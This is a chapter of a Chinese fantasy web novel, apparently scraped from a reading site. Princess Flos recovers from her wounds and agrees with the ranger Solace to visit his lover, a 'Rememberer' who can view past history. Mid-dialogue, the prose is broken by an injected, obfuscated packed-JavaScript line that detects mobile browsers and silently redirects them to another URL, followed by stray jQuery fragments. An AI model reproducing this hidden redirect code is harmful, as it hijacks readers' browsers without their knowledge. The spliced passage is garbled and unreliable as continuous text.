108.【铭记者】

作品:《不平等婚姻[西幻]

    午后的阳光照得房间里无比明亮,简直像个大火炉。安妮亲她、抱她,絮絮叨叨地说了好多事,眼睛湿漉漉的。她笑着听着,连连点头,其实她的身体还比较虚弱,不太能跟上安妮叽叽喳喳的说话节奏,很多事只是灌进左耳朵里,又从右耳朵流出。


    “殿下,我很担心你,你怎么能让自己受这么重的伤,”安妮压抑着自己的委屈,但芙洛丝还是听了出来,“你不是说要和我再见吗?我一直都在等着你——”


    “我知道,我知道,”醒来能看到安妮的脸庞,她心里暖融融的,安妮就像她的家人、她的妹妹一样,“放心,都不是致命伤,我会好起来的。”


    只是,还有一个人。


    安德留斯呢?


    你怎么还在想那个人!你难道不记得,他最后夺走了你的剑,又把你丢在那个孤零零的旷野吗!她的内心忽然涌现出了一个怒气滚滚、无比粗暴的声音,这个想法一出来的时候,甚至把她自己也吓了一跳。


    啊,原来他最后丢下了我,一个人去完成那目标了吗……


    她有些怔愣,安妮也看出了她的情绪变化,问了一句:“怎么了吗?”


    “没、没什么,”芙洛丝感觉头有点涨,“你刚刚不是说,这儿有一个自称【游侠】的男人?”


    “是啊!”安妮猛点头,“我知道殿下先前是不愿意接触这样的人的,我也知道,这样的人大多都很危险,所以你昏迷的时候,我一直守着你,一步都没有离开。他是坏人吗?我不知道,我感觉不像,不过,有的坏人会藏得很深,殿下,如果你要求我去杀了他,我就去杀了他。如果你觉得不安的话。”


    “不,”芙洛丝哑然失笑,“不,你要自己去判断谁是好人,谁是坏人。你不是说了吗,觉得他不像坏人,既然如此,为什么要为了我去杀他?事实上,我对他很感兴趣,也许他手里有我和安德留斯没掌握的信息。”


    失落的历史、消失在传承中的力量、不为人知的原在者……他们与那个声音终有一战,如果能多了解一点对手,说不定就能多一分胜算。


    “对了,安德留斯呢?还有……里昂的那把剑,真的找不到了吗?”


    “找不到。”安妮叹了口气,“我在雪山见识过安德留斯的能力,我知道他不会那么容易死去,但……那座塔颠倒了过来,地上只有一滩雪水,我们怀疑他被那座塔压在了地下,和圣剑一起。那座塔就在弥尔兰的东部的平原,离都城那么近,现在又倒立了过来,科尔庭的王很不安,他派了很多人去撬动那塔,唉,可惜,都没成功。对了,殿下,科尔庭的国王想见你一面呢,他有很多事想要和你谈谈。”


    谈谈?


    是谈【身份者】的事吗?她无法给出国王任何保证,也不愿带去恐慌,再说了,这涉及到人类两国的外交。芙洛丝顿时感觉有个沉重的担子压到了自己肩上。


    “那么,我会特别注意,不将我们的谈话弄得过于郑重或者官方,怎么样,”一个男人来到了窗台前,于此同时,芙洛丝一直隐隐约约感受到的那股同类的气息显露无疑,“公主殿下,可以和我谈谈吗?”


    是他,【游侠】索莱斯。


    芙洛丝没想到真的会有人叫索莱斯。


    索莱斯身材高大,年龄在二十五到三十之间,有着一双饱经风霜、却仍然和悦可亲的黑眼睛。他的额头、眉眼、鼻子、嘴唇很开阔,英武得像个国王,半长的黑褐色头发梳向脑后,露出从左额划到左边眉毛尖的一条长疤。他穿着灰衣,背上背着箭囊,行动轻快,走动的时候,几乎不发出一点响声。


    “我知道你在追杀那只手。”索莱斯挤了下眼睛。


    “安妮,”芙洛丝望向安妮,“我要和他谈一谈,请你守在门口,保证我们的谈话不被任何人偷听,好吗?这件事很重要,你会愿意替我去做吗?”


    安妮的眼睛亮了一下,拍了拍自己的胸膛,“当然!殿下,你就放心和他谈吧,要小心一点儿,有什么事就喊我。”


    等到安妮出去,将门掩好了,索莱斯才发出一声轻笑,“虽然如此,你看起来并没有放下对我的戒备。”


    芙洛丝微微地点了下头,眼睛依然警惕,“我这是不想把无辜的人牵扯进来。说明你的来意,如果你和我的目标相同,我会对你表示敬意。”


    “不,不不,”索莱斯连忙否定,从容地道,“我无意做那么危险的事。我对幕后的事很感兴趣,但没想像你们那样,掀翻整座剧院。”


    “这么说,我们在大剧院里的事你也观测到了?”芙洛丝眯起眼睛。


    “请原谅,我的眼睛就是能看得这么远。”索莱斯依然微笑,“放轻松,好吗?现在的形势很紧张,我知道。虽然搞不清神明的意旨,可我也看得出来,他想要我们大部分人的性命,怎么,他是要在我们之间选出最强的一个吗?”


    如果是那样,也有一人存活,比现在的局面要好。芙洛丝没有正面回答他的问题,而是直接问:“你想要什么?”


    “我想要保护一个人,”他将胳膊搁在窗台上,收敛了一下脸上的笑,“我们都有自保的能力,可面对强大的对手,也有一战之力,而我要保护的这个人没有。”


    芙洛丝看着他,从他的表情推断出这是个女人。果然,索莱斯的眼神变柔和了,“她是我的恋人,她的【身份】是【铭记者】。”


    原来是个有【身份】的女人。


    【身份者】的能力虽然各不相同,但就芙洛丝遇到的这些对手来说,真没有哪个可以说弱。不善于战斗的类型,也会在能力上得到补偿。芙洛丝此生遇到过的最可怕的对手,只需一句话,便可拿走一整座城市居民的灵魂,就是一个本体战斗能力很弱的【商人】。


    大概是看出了芙洛丝心中所想,索莱斯说:“你想错了。我没什么好瞒你的,索性告诉你吧,她的能力只有一项,翻阅往日的历史。除此之外,什么都没有。”


    芙洛丝瞳孔一缩,“翻阅……历史?”


    “我就知道你会对这一点很感兴趣,”索莱斯露出一个满意的笑容,“她能看到大地上发生过的所有的事,她看到一千年以前,那个拥有太阳一样的眼睛的少女走过东方诸地,穿着黑斗篷,形单影只,孤身一人。她看到尘港的立城者与她同行……”


    这番话完美地吊起了芙洛丝的胃口。


    她想要得到更多的信息!她想要知道那个声音为什么可以在所有人的脑海里出现,以及用什么样的方法能逼她剩下的部分现形。天下没有免费的午餐,她知道,游侠一定想从她这里得到什么。


    “那么,你想从我的身上得到什么?”


    这句话意味着交易达成,索莱斯便问了出来:“有没有结束这一切的方法?”


    太阳大概是刚好躲进了云朵里,房内的光线暗了一瞬。阴影在芙洛丝的眼眸里沉淀,她沉思着,斟酌着,过了好一会儿才开口:


    “那就是你无意去做的那件事了。事实上,我也没有完全的把握


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16927961|188729||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。你看到了,我被她的手伤到如此地步,要是让她恢复至巅峰状态,我肯定一点胜算都没有。幸好,她现在对我有想法,也许她还会以其他形式出现,试图杀掉我。她现在刚刚苏醒……我要尽快逼她现身,杀掉她。如果你不敢对那个声音出手,至少,你可以给我提供帮助。”


    “我们很愿意!”


    索莱斯答应得很快,声音急切,“离开她前,我不知道那个拥有太阳一样的眼睛的少女就是赐予我们能力的神明,所以关于她的一切事,我都没有特别在意,而她跟我讲过的事也实在太多太多了。这样吧,等你身体稍微好一点儿,我们就去见她。”


    他忽然单膝下跪,行了个礼,“请放心,我对你没有恶意,我看到了你为你的同伴所做的一切,你是个有情有义的人,我看得出来。如果我要对你出手,在你昏迷不醒的时候,我早就这么做了。我们明天就出发吧。请信任我,我——”


    芙洛丝略略抬手,打断了他激动的剖白。仅这么一个小小的动作,她就意识到了自己的手臂和病死的树根差不多。这树根不仅奄奄一息,还被浇筑了铁水,埋在墙底,随便动一下,就把她疼得龇牙咧嘴的。


    这不是信任与否的问题,她渴望触碰真正的历史,渴望知道力量究竟来源于何处,就算这是个诱饵,她也会乐于吃下去的。


    “安妮会保护我。不过,”芙洛丝道,“明天就走?认真的吗?”


    “请放心,我会保护你。”


    事实上,索莱斯一直守在这里,就是为了不让其他的【身份者】靠近。


    说完,他撑着手臂翻上围墙,准备从墙上跳出去。灿烂的阳光中,他对着芙洛丝挥手,很激动的样子,“明天的这个时候,我来接你,现在,我要去给她回信了。”


    信!芙洛丝“啊”了一声,猛然想到一件事——信啊。


    从这么远的地方寄去一封纯手写的信,的确是很用心,她猛然想起,她欠老头好多好多封信,忙把安妮喊了进来,“我受伤的事,你应该还没和老头讲吧?”


    “还……没有呢。”


    于是乎,手臂上还缠着绷带,芙洛丝哆哆嗦嗦地给自己的父亲写信了。


    阳光洒在信纸上,不远处的榉树在风中摇它的叶子,树影细细。


    芙洛丝写一会儿,就让安妮代笔一段,两个人都不是善于措辞的人,为了一个词语的用法,往往绞尽脑汁,满头大汗。


    出来这么久,终于给家人写了第一封信。


    她写的都是旅途中的见闻,那些危险的事,一个字也没说。她想象着老头在遥远的王宫里读着这信的情景,大概是一边骂,一边迫不及待地读着,这个季节,入夜天气也有些凉了,壁炉一定是点着的,旁边还会围着她的兄弟姐妹们,还有碧拉……想着想着,嘴角忍不住上翘。


    她又找到新的方向了,去【铭记者】那儿,了解不被任何语言修饰过的一千年前的历史,了解当年人类是如何打败“她”的。


    这一程,安妮会陪在她的身边,会有自己真正信任的人同行,而且,大概率没什么危险。


    之后,她还会和科尔庭的王进行会面。


    她还要去把那把剑找回来,剑的特性就是击中目标后破碎,也许安德留斯杀死了那只手后,剑化作残片,从塔尖坠落,随着整座星塔的颠倒被彻底埋入土中。不知道【愚人】愿不愿意帮这个忙。


    她的身边有好多好多的人,可不知道为什么,就是觉得少了一个人。